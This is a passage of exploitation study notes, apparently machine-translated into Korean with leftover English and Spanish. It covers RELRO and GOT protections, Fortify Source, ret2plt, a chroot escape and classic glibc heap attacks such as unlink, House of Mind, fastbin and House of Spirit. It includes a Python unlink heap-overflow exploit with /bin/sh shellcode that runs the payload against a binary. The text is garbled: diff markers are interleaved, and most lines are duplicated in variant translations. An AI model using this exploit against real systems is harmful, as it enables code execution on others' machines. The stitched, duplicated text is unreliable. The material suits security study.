0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
바이너리 **relro가 없는** 경우, `fgets`의 `got` 엔트리 주소가 `0x404018`임을 볼 수 있습니다. 메모리 매핑을 살펴보면 `0x404000`과 `0x405000` 사이에 위치하며 **권한이 `rw`**인 것을 알 수 있습니다. 이는 읽고 쓸 수 있다는 것을 의미합니다. **relro가 있는** 바이너리의 경우, 바이너리 실행 중 `got` 테이블 주소 (pie가 활성화되어 있으므로 이 주소는 변경됨)가 `0x555555557fd0`임을 볼 수 있습니다. 이 바이너리의 메모리 매핑에서 이는 `0x0000555555557000`과 `0x0000555555558000` 사이에 위치하며 메모리 **권한이 `r`**인 것을 알 수 있습니다. 따라서 이를 읽기만 할 수 있습니다.
|
||||
|
||||
그렇다면 **우회**는 무엇일까요? 저는 일반적으로 relro로 인해 읽기 전용이 되는 메모리 영역에 쓰지 않고, **코드 실행 방법을 찾는 다른 방법을 찾습니다**.
|
||||
|
||||
이를 위해 바이너리는 실행 전에 다음과 같은 함수들의 주소를 알아야 합니다:
|
||||
|
||||
* Lazy binding: 함수의 주소는 함수가 처음 호출될 때 검색됩니다. 따라서 실행 중에 GOT는 쓰기 권한이 필요합니다.
|
||||
* Bind now: 함수들의 주소는 실행의 시작에서 해결되고, 그 후 .got, .dtors, .ctors, .dynamic, .jcr과 같은 민감한 섹션에 읽기 전용 권한이 부여됩니다. `` `** ``-z relro`**`y`**`-z now\`\*\*
|
||||
|
||||
프로그램이 Bind now를 사용하는지 확인하려면 다음을 수행할 수 있습니다:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
Cuando the binary is loaded into memory and a function is called for the first time, it jumps to the PLT (Procedure Linkage Table). From here, a jump (jmp) is made to the GOT and it discovers that this entry has not been resolved (it contains an address following the PLT). Therefore, it invokes the Runtime Linker or rtfd to resolve the address and save it in the GOT.
|
||||
|
||||
When a function is called, it calls the PLT, which has the address of the GOT where the function's address is stored, redirecting the flow there to call the function. However, if it is the first time the function is called, what is in the GOT is the next instruction of the PLT, so the flow follows the PLT code (rtfd) and finds out the function's address, saves it in the GOT, and calls it.
|
||||
|
||||
When loading a binary into memory, the compiler has instructed where to place data that needs to be loaded when the program is run.
|
||||
|
||||
Lazy binding —> The function's address is searched the first time that function is invoked, so the GOT has write permissions so that when it is searched, it is saved there and does not need to be searched again.
|
||||
|
||||
Bind now —> The addresses of the functions are searched when the program is loaded, and the permissions of the sections .got, .dtors, .ctors, .dynamic, .jcr are changed to read-only. **-z relro** and **-z now**
|
||||
|
||||
Despite this, in general, programs are not complicated with these options, so these attacks remain possible.
|
||||
|
||||
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> To check if they use BIND NOW
|
||||
|
||||
**Fortify Source -D\_FORTIFY\_SOURCE=1 or =2**
|
||||
|
||||
It tries to identify functions that copy data from one place to another insecurely and replace the function with a secure one.
|
||||
|
||||
For example:\
|
||||
char buf\[16];\
|
||||
strcpy(but, source);
|
||||
|
||||
It identifies it as insecure and then changes strcpy() to \_\_strcpy\_chk() using the buffer size as the maximum size to copy.
|
||||
|
||||
The difference between **=1** or **=2** is that:
|
||||
|
||||
The second one does not allow **%n** to come from a section with write permissions. Also, the parameter for direct argument access can only be used if the previous ones are used, meaning **%3$d** can only be used if **%2$d** and **%1$d** have been used before.
|
||||
|
||||
To display the error message, argv\[0\] is used, so if the address of another location (like a global variable) is placed there, the error message will display the content of that variable. Page 191
|
||||
|
||||
**Libsafe Replacement**
|
||||
|
||||
Activated with: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
or\
|
||||
다음과 같이 활성화됩니다: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
또는\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
It intercepts calls to some insecure functions with secure ones. It is not standardized. (only for x86, not for compilations with -fomit-frame-pointer, not for static compilations, not all vulnerable functions become secure, and LD\_PRELOAD does not work on binaries with suid).
|
||||
일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 해당되지 않음, 정적 컴파일은 해당되지 않음, 모든 취약한 함수가 안전한 함수로 변환되지 않음, LD\_PRELOAD는 setuid 바이너리에서 작동하지 않음).
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
|
||||
It involves loading shared libraries from 0x00000000 to 0x00ffffff to always have a byte 0x00. However, this does not effectively prevent almost any attack, especially in little endian.
|
||||
공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, 리틀 엔디안에서는 특히 그렇습니다.
|
||||
|
||||
**ret2plt**
|
||||
|
||||
It involves performing a ROP so that the strcpy@plt function is called (from the plt) and points to the entry in the GOT and copies the first byte of the function to be called (system()). Then the same is done pointing to GOT+1 and copying the 2nd byte of system()... Finally, the address stored in the GOT, which will be system(), is called.
|
||||
strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 호출하려는 함수(system())의 첫 번째 바이트를 복사하는 방식으로 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소(system()일 것)를 호출합니다.
|
||||
|
||||
**Fake EBP**
|
||||
**chroot()로 감옥 만들기**
|
||||
|
||||
For functions that use EBP as a register to point to arguments, when modifying the EIP and pointing to system(), the EBP must also have been modified to point to a memory area with any 2 bytes and then the address to &”/bin/sh”.
|
||||
debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다.
|
||||
|
||||
**Chroot Jails**
|
||||
관리자는 이러한 감옥을 빠져나가기 위해 다음을 수행할 수 있습니다: mkdir foo; chroot foo; cd ..
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Installs a basic system under a specific subdirectory
|
||||
**코드 인스트루먼테이션**
|
||||
|
||||
An admin can escape from one of these jails by: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Code Instrumentation**
|
||||
|
||||
Valgrind —> Looks for errors\
|
||||
Valgrind —> 오류 찾기\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
Insure++
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||||
|
||||
## **8 Heap Overflows: Basic Exploits**
|
||||
|
||||
**Allocated Chunk**
|
||||
|
||||
prev\_size |\
|
||||
size | —Header\
|
||||
\*mem | Data
|
||||
|
||||
**Free Chunk**
|
||||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Ptr forward chunk\
|
||||
\*bk | Ptr back chunk —Header\
|
||||
\*mem | Data
|
||||
|
||||
Free chunks are in a doubly linked list (bin) and there should never be two free chunks together (they are merged).
|
||||
|
||||
In “size”, there are bits to indicate: if the previous chunk is in use, if the chunk was allocated using mmap(), and if the chunk belongs to the primary arena.
|
||||
|
||||
When a chunk is freed and any of the contiguous chunks are free, they are merged using the unlink() macro, and the new larger chunk is passed to frontlink() to insert it into the appropriate bin.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> The BK of the new chunk is the one that the previously free chunk had\
|
||||
FD = P->fd; —> The FD of the new chunk is the one that the previously free chunk had\
|
||||
FD->bk = BK; —> The BK of the next chunk points to the new chunk\
|
||||
BK->fd = FD; —> The FD of the previous chunk points to the new chunk\
|
||||
}
|
||||
|
||||
Therefore, if we manage to modify P->bk with the address of a shellcode and P->fd with the address to an entry in the GOT or DTORS minus 12, it achieves:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
And thus, the shellcode is executed when exiting the program.
|
||||
|
||||
Additionally, the 4th statement of unlink() writes something, and the shellcode must be adjusted for this:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> This causes the writing of 4 bytes starting from the 8th byte of the shellcode, so the first instruction of the shellcode must be a jmp to skip this and reach some nops that lead to the rest of the shellcode.
|
||||
|
||||
Therefore, the exploit is created:
|
||||
|
||||
In buffer1, the shellcode is inserted starting with a jmp so that it lands on the nops or the rest of the shellcode.
|
||||
|
||||
After the shellcode, padding is added until reaching the prev\_size and size fields of the next chunk. In these places, 0xfffffff0 is inserted (to overwrite the prev\_size to have the bit indicating it is free) and “-4” (0xfffffffc) in the size (so that when checking in the 3rd chunk if the 2nd was free, it actually goes to the modified prev\_size indicating it is free) -> So when free() investigates, it will go to the size of the 3rd chunk but actually go to the 2nd - 4 and think the 2nd chunk is free. Then it calls **unlink()**.
|
||||
|
||||
When calling unlink(), it uses the first data of the 2nd chunk as P->fd, so the address to be overwritten - 12 (as in FD->bk it will add 12 to the address stored in FD) will be placed there. And at that address, the second address found in the 2nd chunk will be inserted, which should be the address to the shellcode (fake P->bk).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes of padding**
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #이전 청크가 비어 있다고 표시되는 비트가 1이어야 함**
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #이전 청크가 비어 있다고 표시하는 비트가 1인 것이 중요**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, 3번째 청크의 "size"가 4바이트 뒤에 있다고 생각하게끔 함 (prev\_size를 가리킴)**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 패딩을 추가함**
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 채우기를 넣음**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt-12에서 free()의 주소 (free가 두 번째 호출될 때 shellcode가 실행되도록 덮어씌워질 주소)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt의 free() 주소-12 (free가 두 번째 호출될 때 shellcode가 실행되도록 덮어씌워질 주소)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #8바이트의 패딩으로 페이로드 시작**
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #페이로드는 8바이트의 채우기로 시작함**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #두 번째 청크 수정, got\_free는 addr\_sc + 12를 저장할 위치를 가리킴**
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #두 번째 청크를 수정하고, got\_free는 addr\_sc + 12 주소를 저장할 위치를 가리킴**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset() 역순으로 해제 (wargame)**
|
||||
**unset() liberando en sentido inverso (wargame)**
|
||||
|
||||
우리는 3개의 연속적인 청크를 제어하고, 역순으로 해제됩니다.
|
||||
우리는 연속적으로 3개의 청크를 제어하고, 그들은 예약된 순서의 역순으로 해제됩니다.
|
||||
|
||||
이 경우:
|
||||
|
||||
청크 c에 shellcode를 넣습니다.
|
||||
|
||||
청크 a를 사용하여 b를 덮어쓰기하여 청크 a가 비어 있다고 생각하도록 이전 청크의 PREV\_INUSE 비트를 비활성화합니다.
|
||||
청크 a를 사용하여 b를 덮어쓰기하여 size가 PREV\_INUSE 비트가 꺼져 있어 청크 a가 비어 있다고 생각하게 합니다.
|
||||
|
||||
또한, 헤더 b의 size를 -4로 덮어씁니다.
|
||||
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출합니다. 그러나 PREV\_SIZE가 -4이므로 "a" 청크가 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 unlink()를 수행하게 되어 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
그러면 프로그램은 "a"가 비어 있고 bin에 있는 것으로 생각하여 unlink()를 호출합니다. 그러나 헤더 PREV\_SIZE가 -4이므로 "a" 청크가 실제로 b+4에서 시작한다고 생각합니다. 즉, b+4에서 시작하는 청크를 unlink()하게 되며, 따라서 b+12에는 "fd" 포인터가 있고 b+16에는 "bk" 포인터가 있습니다.
|
||||
|
||||
따라서 bk에는 shellcode 주소를, fd에는 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
따라서, bk에는 shellcode 주소를, fd에는 "puts()" 함수 주소-12를 넣으면 페이로드가 완성됩니다.
|
||||
|
||||
**Frontlink 기술**
|
||||
**Frontlink 기법**
|
||||
|
||||
해제되는 것이 주변 청크 중 하나도 비어 있지 않을 때 unlink() 대신에 frontlink()가 호출됩니다.
|
||||
해제된 것이 있고 인접한 청크가 모두 비어 있지 않은 경우 unlink()가 호출되지 않고 직접 frontlink()가 호출됩니다.
|
||||
|
||||
공격 대상 malloc이 결코 해제되지 않을 때 유용한 취약점입니다.
|
||||
공격 대상이 되는 malloc이 결코 해제되지 않을 때 유용한 취약점입니다.
|
||||
|
||||
필요한 것:
|
||||
|
||||
데이터 입력 함수로 오버플로우될 수 있는 버퍼
|
||||
데이터 입력 함수로 오버플로우가 발생할 수 있는 버퍼
|
||||
|
||||
해당 버퍼를 해제하고 입력 버퍼의 헤더의 fd 필드를 수정할 수 있는 인접한 버퍼
|
||||
해제되어야 하는 인접한 버퍼로, 이전 버퍼의 오버플로우로 인해 헤더의 fd 필드가 수정됩니다.
|
||||
|
||||
512보다 크고 이전 버퍼보다 작은 크기의 해제할 버퍼
|
||||
512보다 크고 이전 버퍼보다 작은 크기의 버퍼
|
||||
|
||||
이전 단계 3 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있어야 함
|
||||
3단계 이전에 선언된 버퍼로 이 버퍼의 prev\_size를 덮어쓸 수 있어야 합니다.
|
||||
|
||||
이렇게 함으로써 두 개의 malloc을 무질서하게 덮어쓰고 하나는 제어적으로 해제되지만 그것만 해제되는 상황을 만들어 exploit을 수행할 수 있습니다.
|
||||
이렇게 함으로써 두 개의 malloc을 무질서하게 덮어쓰고 하나는 제어된 상태로 해제되는 exploit을 수행할 수 있습니다.
|
||||
|
||||
**Double free() 취약점**
|
||||
|
||||
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리킵니다.
|
||||
동일한 포인터로 두 번 free()를 호출하면 두 개의 bin이 동일한 주소를 가리키게 됩니다.
|
||||
|
||||
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 이전 예약이 작성한 데이터로 "fd"와 "bk" 포인터가 왜곡됩니다.
|
||||
하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 이전 예약에서 작성된 데이터로 "fd"와 "bk" 포인터가 왜곡됩니다.
|
||||
|
||||
**After free()**
|
||||
|
||||
이전에 해제된 포인터가 제어 없이 다시 사용됩니다.
|
||||
|
||||
## **8 힙 오버플로우: 고급 Exploits**
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
|
||||
unlink() 및 FrontLink() 기술은 unlink() 함수를 수정함으로써 제거되었습니다.
|
||||
|
||||
**The house of mind**
|
||||
|
||||
임의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우된 후 해제될 수 있는 두 번째 청크를 찾는 것이 중요합니다.
|
||||
임의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우될 수 있는 두 번째 청크를 찾고 해제될 수 있어야 합니다.
|
||||
|
||||
free() 호출은 public\_fREe(mem)를 호출하게 되며 다음을 수행합니다:
|
||||
free()를 호출하면 public\_fREe(mem)이 호출됩니다. 이 함수는 다음과 같은 작업을 수행합니다:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -730,7 +396,7 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 주소를 가리키는 포인터를 반환합니다 (mem-8)
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 위치를 가리키는 포인터를 반환합니다 (mem-8)
|
||||
|
||||
…
|
||||
|
||||
|
@ -742,11 +408,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
|
|||
|
||||
}
|
||||
|
||||
\[1]에서 size 필드와 NON\_MAIN\_ARENA 비트를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있습니다. 이 함수는 "mem"에 AND를 수행하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다.
|
||||
\[1]에서 NON\_MAIN\_ARENA 비트를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행하도록 변경할 수 있습니다. 이렇게 하면 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다.
|
||||
|
||||
따라서 예를 들어 0x0804a000에 청크를 제어하고 **0x081002a0**에 청크를 해제할 때 0x08100000 주소로 이동하여 원하는 내용을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다 (0x081002a0에 AND가 적용되고 거기서 처음 4바이트의 값, ar\_ptr이 추출됨).
|
||||
따라서 예를 들어 0x0804a000에 청크를 제어하고 **0x081002a0**에 청크를 해제할 수 있다면 0x08100000으로 이동하여 원하는 내용을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 두 번째 청크가 해제되면 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다 (0x081002a0에 AND가 적용되고 그 값에서 처음 4바이트의 값을 가져오기 때문입니다).
|
||||
|
||||
따라서 \_int\_free(ar\_ptr, mem)가 호출됩니다. 즉, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
\_int\_free(ar\_ptr, mem)를 호출하게 되며, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
|
@ -758,31 +424,31 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
앞서 본 대로 av의 값을 제어할 수 있으므로 이를 해제할 청크에 쓸 수 있습니다.
|
||||
앞에서 본 대로 av의 값을 제어할 수 있기 때문에 av에 쓴 값을 제어할 수 있습니다.
|
||||
|
||||
unsorted\_chunks가 정의된 대로 알 수 있습니다:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 주소가 쓰입니다.
|
||||
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 prev\_size 주소가 쓰입니다.
|
||||
|
||||
즉, 첫 번째 청크의 시작 부분에 많은 번의 \_\_DTOR\_END\_\_-12 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]에서 이 주소를 가져오기 때문입니다.
|
||||
즉, 첫 번째 청크에는 av->bins\[2]에서 많은 양의 \_\_DTOR\_END\_\_-12 주소를 넣어야 합니다. av->bins\[2]에서 값을 가져오기 때문입니다.
|
||||
|
||||
두 번째 청크에서 첫 번째 청크의 prev\_size를 jump 0x0c로 덮어쓰고 NON\_MAIN\_ARENA를 활성화하기 위해 size를 덮어씁니다.
|
||||
두 번째 청크에서는 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA로 활성화하기 위해 값을 써야 합니다.
|
||||
|
||||
그런 다음 두 번째 청크에 많은 nops를 넣고 마지막으로 shellcode를 넣습니다.
|
||||
다음으로 많은 nops를 넣고 마지막으로 shellcode를 넣습니다.
|
||||
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_에 TROZO2의 prev\_size 주소가 쓰이며 shellcode로 이동합니다.
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_의 주소가 TROZO2의 prev\_size로 쓰이며 shellcode로 이동합니다.
|
||||
이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야합니다.
|
||||
|
||||
이 기술을 적용하려면 페이로드를 조금 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야 합니다.
|
||||
이 기술은 더 이상 적용되지 않습니다. unlink에 거의 동일한 패치가 적용되었습니다. 새로운 대상이 자신을 가리키고 있는지 비교됩니다.
|
||||
이 기술은 더 이상 적용되지 않습니다. unlink에 대한 거의 동일한 패치가 적용되었기 때문입니다. 새로 가리키는 사이트가 자신을 가리키고 있는지 확인됩니다.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
The house of mind의 변형입니다.
|
||||
|
||||
다음 코드를 실행하려면 \_int\_free() 함수의 첫 번째 확인 후에 도달해야 합니다.
|
||||
우리는 \_int\_free() 함수의 첫 번째 확인 후에 다음 코드를 실행하고 싶어합니다.
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
|
@ -792,61 +458,61 @@ p->fd = \*fb
|
|||
|
||||
\*fb = p
|
||||
|
||||
이렇게 함으로써 "fb"에 함수의 주소가 들어가며, 이 주소에 덮어쓰기할 조각의 주소가 들어갑니다. 이를 위해서는 아레나가 dtors 주소 근처에 있어야 합니다. 더 정확히 말하면 av->max\_fast가 덮어쓸 주소여야 합니다.
|
||||
이렇게 함으로써 "fb"에 함수의 주소가 주어지고, 이 주소에 덮어쓰기 할 조각의 주소가 들어갑니다. 이를 위해서는 아레나가 dtors 주소 근처에 있어야합니다. 더 정확히 말하면 av->max\_fast가 덮어쓸 주소에 있어야합니다.
|
||||
|
||||
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알았기 때문에,
|
||||
|
||||
따라서 size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE 크기를 넣으면 fastbin\_index()가 fastbins\[-1\]을 반환하고 이는 av->max\_fast를 가리킵니다.
|
||||
size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()가 fastbins\[-1\]을 반환하고, 이는 av->max\_fast를 가리킵니다.
|
||||
|
||||
이 경우 av->max\_fast가 덮어쓰여질 주소가 됩니다(가리키는 것이 아니라 덮어쓰여질 위치가 됩니다).
|
||||
이 경우 av->max\_fast가 덮어쓰여질 주소가 될 것입니다.
|
||||
|
||||
또한, 해제된 조각 옆에 연속된 조각이 8보다 커야 합니다. 우리는 해제된 조각의 크기가 8이라고 했기 때문에, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어갈 것이므로, 가짜 조각의 size 필드 뒤에 나오는 nops로 떨어지는 jmp를 먼저 넣어야 합니다).
|
||||
또한, 해제된 인접 조각은 8보다 커야합니다. - 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 쉘코드가 해제된 조각에 들어갈 것이므로, 처음에는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
|
||||
또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 해당 위치에서 1848바이트 떨어져 있습니다.
|
||||
또한, 이 가짜 조각은 av->system\_mem보다 작아야합니다. av->system\_mem은 1848바이트 떨어진 곳에 있습니다.
|
||||
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소로 인해 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않습니다. 따라서 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴보겠습니다.
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소로 인해, 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않습니다. 따라서 스택을 공격하기 위해 fastbin을 어떻게 적용할지 살펴보겠습니다.
|
||||
|
||||
다른 공격 방법은 **av**를 스택으로 리다이렉션하는 것입니다.
|
||||
|
||||
size를 8이 아닌 16으로 수정하면 fastbin\_index()가 fastbins\[0\]을 반환하고 이를 사용하여 스택을 덮어쓸 수 있습니다.
|
||||
size를 8이 아닌 16으로 변경하면 fastbin\_index()가 fastbins\[0\]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다.
|
||||
|
||||
이를 위해서는 스택에 canary나 이상한 값이 없어야 하며, 실제로 우리는 여기에 있어야 합니다: 4바이트 널 + EBP + RET
|
||||
이를 위해서는 스택에 canary나 이상한 값이 없어야하며, 실제로 여기에 있어야합니다: 4바이트 널 + EBP + RET
|
||||
|
||||
4바이트 널은 **av**가 이 주소에 있어야 하며, **av**의 첫 번째 요소는 0이어야 합니다.
|
||||
4바이트 널은 **av**가 이 주소에 있어야하며, **av**의 첫 번째 요소는 0이어야합니다.
|
||||
|
||||
**av->max\_fast**는 EBP가 되며, 이는 우리가 제약 조건을 우회하는 데 사용할 값입니다.
|
||||
**av->max\_fast**는 EBP가되며 제한 사항을 우회하는 데 사용되는 값입니다.
|
||||
|
||||
**av->fastbins\[0\]**에는 **p**의 주소가 덮어쓰이며, RET이 됩니다. 따라서 쉘코드로 이동합니다.
|
||||
**av->fastbins\[0\]**에는 **p**의 주소가 덮어쓰여지며 RET이되어 쉘코드로 이동합니다.
|
||||
|
||||
또한, **av->system\_mem** (스택 위치에서 1484바이트 위)에는 우리가 수행할 확인을 우회할 수 있는 충분한 쓰레기가 있어야 합니다.
|
||||
또한, **av->system\_mem** (스택 위치에서 1484바이트 위)에는 우리가 수행할 확인을 우회하는 데 도움이 되는 많은 쓰레기가 있어야합니다.
|
||||
|
||||
또한, 해제된 조각 옆에 연속된 조각이 8보다 커야 합니다. 해제된 조각의 크기가 16이라고 했기 때문에, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어갈 것이므로, 가짜 조각의 size 필드 뒤에 나오는 nops로 떨어지는 jmp를 먼저 넣어야 합니다).
|
||||
또한, 해제된 인접 조각은 8보다 커야합니다. - 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 쉘코드가 해제된 조각에 들어갈 것이므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 오는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터를 가져야 합니다(예: 포인터가 변수 오버플로우 아래 스택에 있는 경우).
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터를 가져야합니다 (예: 포인터가 변수 오버플로우 아래 스택에 있는 경우).
|
||||
|
||||
따라서 이 포인터가 원하는 곳을 가리킬 수 있도록 만들 수 있습니다. 그러나 모든 위치가 유효한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 미래의 malloc() 호출에 요청된 크기에 8을 더한 것과 정확히 같아야 합니다. 따라서, 이 취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 크고 MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
|
||||
